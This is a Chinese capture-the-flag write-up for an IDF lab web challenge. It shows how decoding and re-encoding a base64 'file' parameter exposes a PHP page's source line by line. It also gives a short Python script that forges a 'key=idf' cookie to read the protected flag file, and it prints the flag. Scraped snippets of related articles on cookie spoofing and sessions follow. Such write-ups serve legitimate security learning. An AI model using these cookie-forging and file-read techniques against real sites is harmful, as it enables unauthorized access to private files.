IDF-cookie欺骗

原题链接:http://ctf.idf.cn/game/web/40/index.php

  1. 进入题目,发现一个长字符串,放到md5、base64均无意义。
  2. 观察地址栏,发现有两个参数,line和file

(1)将file=后的参数放到base64解码(url参数传递一般用base64编码),可知该串原意为:flag.txt

(2)既然知道后面是接文件名,假设flag.txt在当前目录,那么猜想有其他的文件也在通过用base64加密的方式输入到url中访问,对index.html和index.php分别进行测试,line从0向上遍历

3.尝试后可知,当file=aW5kZXgucGhw(index.php的base64编码)时,line的取值可获取index.php源代码的第line行

4.遍历整个文件可得:

<?php
error_reporting(0);
$file=base64_decode(isset($_GET[‘file‘])?$_GET[‘file‘]:"");
$line=isset($_GET[‘line‘])?intval($_GET[‘line‘]):0;
if($file==‘‘) header("location:index.php?line=&file=ZmxhZy50eHQ");
$file_list = array(
‘0‘ =>‘flag.txt‘,
‘1‘ =>‘index.php‘,
);
if(isset($_COOKIE[‘key‘]) && $_COOKIE[‘key‘]==‘idf‘){
$file_list[2]=‘flag.php‘;
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

(1)分析代码,做出以下注释

error_reporting(0);
//不打印页面访问错误报告

$file=base64_decode(isset($_GET[‘file‘])?$_GET[‘file‘]:"");
//解码地址栏中file=后的内容

$line=isset($_GET[‘line‘])?intval($_GET[‘line‘]):0;
//获取地址栏中line=后的内容

if($file==‘‘) header("location:index.php?line=&file=ZmxhZy50eHQ");
//若地址为空,则跳转到原界面(flag.txt) 无论line的值

$file_list = array(‘0‘ =>‘flag.txt‘,‘1‘ =>‘index.php‘,);
//创建file_list数组

if(isset($_COOKIE[‘key‘]) && $_COOKIE[‘key‘]==‘idf‘){
    $file_list[2]=‘flag.php‘;
}
//若id为key的cookie有定义,并且值为idf 则在file_list第三个位置插入flag.php

if(in_array($file, $file_list)){
    $fa = file($file);
    echo $fa[$line];
}
//若file_list数组内存在file文件名,则打印该文件的第line行代码
?>

(2)阅读代码可知,cookie的名为key,值为idf, 将file参数置为ZmxhZy50eHQ(flag.php的base64码)可以通过cookie欺骗的方式访问flag.php文件

5.下面用python进行cookie欺骗及遍历源代码

import requests  #该库需要安装 安装过程自行百度
import sys

cookies = {‘key‘: ‘idf‘}   #设置cookies的key值为idf 即cookies欺骗

for i in range(0,20):   #循环打开网页并抓取网页文本信息
   url="http://ctf.idf.cn/game/web/40/index.php?line="+str(i)+"&file=ZmxhZy5waHA="
   wp = requests.get(url, cookies=cookies)
   print(wp.text)

print("get flag success")

6.最终得到flag.txt 内容为:

<?php $flag=‘wctf{idf_c00kie}‘; ?>

flag即为wctf{idf_c00kie}

原文地址:https://www.cnblogs.com/xiaomulei/p/10114039.html

时间: 2024-08-02 23:51:07

IDF-cookie欺骗的相关文章

IDF实验室:天罗地网--COOKIE欺骗

阅读目录 题目 分析 总结 题目 回到顶部 分析 打开题目所给链接,页面内容是一串看不懂且非常长的字符串. 看似像md5值(没见过这么长的md5) 观察url地址栏的链接,多了两个参数 "line" 和 "file" .都知道 url参数的传递都是base64编码 "line" 值为空 "file" 值为 ZmxhZy50eHQ 将 "file" 的值 "ZmxhZy50eHQ" 用py

用wget实现cookie欺骗

用wget实现cookie欺骗 1. 分析登录界面的html代码 页面在 http://bbs.linuxeden.com/ <form. id="loginform" method="post" name="login" action="logging.php?action=login&loginsubmit=true"> <input type="hidden" name=&q

COOKIE欺骗

链接:http://ctf.idf.cn/index.php?g=game&m=article&a=index&id=40 开始攻关:这里这里→ http://ctf.idf.cn/game/web/40/index.php 进去之后就是cd67918e02086c10de8202a75ca31c256636bef519b576b............. 这时我们稍微有点眼力的话,可以看见url中file的值是base64编码,解密后是flag.txt,,,,因为之前接触过类似的

【Docker】通过cookie欺骗在ubuntu中使用wget下载jdk

在ubuntu系统中,如果想通过wget直接下载Orcale内的jdk文件,一般是办不到的.所以就得用特殊的方法. 首先在官网找到自己需要下载的jdk版本下载链接: 点选Accept License Agreement后,右键需要下载的Linux文件,右键点击它,选择"复制链接地址",这样就能得到该文件的下载路径. 比如下载linux x64版本文件jdk-6u45-linux-x64.bin,得到的路径为: http://download.oracle.com/otn/java/jd

IDF-CTF-cookie欺骗 答题笔记

题目链接: http://ctf.idf.cn/index.php?g=game&m=article&a=index&id=40 知识点:base64解码, cookie欺骗 这里这里→ http://ctf.idf.cn/game/web/40/index.php 思路:点击链接跳转到url:http://ctf.idf.cn/game/web/40/index.php?line=&file=ZmxhZy50eHQ ,发现参数file的值经过了base64编码,解码发现是

session和cookie的区别

原作者:施杨(施杨's Think out)出处:http://shiyangxt.cnblogs.com 二者的定义: 当你在浏览网站的时候,WEB 服务器会先送一小小资料放在你的计算机上,Cookie 会帮你在网站上所打的文字或是一些选择, 都纪录下来.当下次你再光临同一个网站,WEB 服务器会先看看有没有它上次留下的 Cookie 资料,有的话,就会依据 Cookie 里的内容来判断使用者,送出特定的网页内容给你. Cookie 的使用很普遍,许多有提供个人化服务的网站,都是利用 Cook

cookie和session得区别

1.cookie 是一种发送到客户浏览器的文本串句柄,并保存在客户机硬盘上,可以用来在某个WEB站点会话间持久的保持数据. 2.session其实指的就是访问者从到达某个特定主页到离开为止的那段时间. Session其实是利用Cookie进行信息处理的,当用户首先进行了请求后,服务端就在用户浏览器上创建了一个Cookie,当这个Session结束时,其实就是意味着这个Cookie就过期了. 注:为这个用户创建的Cookie的名称是aspsessionid.这个Cookie的唯一目的就是为每一个用

HTTP协议 (七) Cookie

Cookie是HTTP协议中非常重要的东西, 之前拜读了Fish Li 写的[细说Cookie], 让我学到了很多东西.Fish的这篇文章写得太经典了. 所以我这篇文章就没有太多内容了. 最近我打算写一个系列的HTTP文章,我站在HTTP协议的角度, 说说我对Cookie的理解. 阅读目录 Cookie是什么,有什么用,为什么要用到Cookie Cookie的分类 Cookie存在哪里 使用和禁用Cookie Fiddler查看HTTP中的Cookie 网站自动登陆的原理 截获Cookie,冒充

session与cookie的区别?

session:存储在服务器上的php指定的目录中的(session_dir)的位置 cookie:存储在客户端,对于Cookie来说是存储在用户WIN的Temp目录中的. ①cookie数据存放在客户的浏览器上,session数据放在服务器上 ②cookie不是很安全,别人可以分析存放在本地的COOKIE并进行COOKIE欺骗   考虑到安全应当使用session ③session会在一定时间内保存在服务器上.当访问增多,会比较占用你服务器的性能   考虑到减轻服务器性能方面,应当使用COOK